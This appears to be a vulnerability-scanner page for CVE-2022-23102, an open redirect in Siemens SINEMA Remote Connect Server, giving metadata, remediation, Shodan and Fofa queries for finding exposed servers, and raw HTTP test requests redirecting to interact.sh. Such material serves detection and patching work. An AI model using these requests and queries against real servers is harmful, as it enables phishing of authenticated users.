| Title | SINEMA Remote Connect Server < V2.0 - Open Redirect |
|---|---|
| Author | ctflearner,ritikchaddha |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to redirect users to malicious websites, leading to potential phishing attacks. |
| Remediation | Upgrade to SINEMA Remote Connect Server version 2.0 or later to fix the open redirect vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.04852 |
| CVE ID | CVE-2022-23102 |
| CWE ID | CWE-601 |
| Shodan Query | title:"Logon - SINEMA Remote Connect"http.title:"logon - sinema remote connect" |
| Fofa Query | title="logon - sinema remote connect" |
| Tags | cve cve2022 packetstorm seclists redirect sinema authenticated siemens vuln |
A vulnerability has been identified in SINEMA Remote Connect Server (All versions < V2.0). Affected products contain an open redirect vulnerability. An attacker could trick a valid authenticated user to the device into clicking a malicious link there by leading to phishing attacks.
GET /wbm/login/?next=https%3A%2F%2Finteract.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:105.0) Gecko/20100101 Firefox/105.0
Connection: close
Accept-Encoding: gzip
POST /wbm/login/?next=https%3A%2F%2Finteract.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8 Safari/605.1.15
Connection: close
Content-Length: 72
Content-Type: application/x-www-form-urlencoded
Cookie: csrftoken=fYDtbh;
Referer: //wbm/login/?next=https%3A%2F%2Finteract.sh
Accept-Encoding: gzip
csrfmiddlewaretoken=fYDtbh&utcoffset=330&username=LIHOMH&password=RcRHQc
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-23102.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-23102.pcap
N/AN/A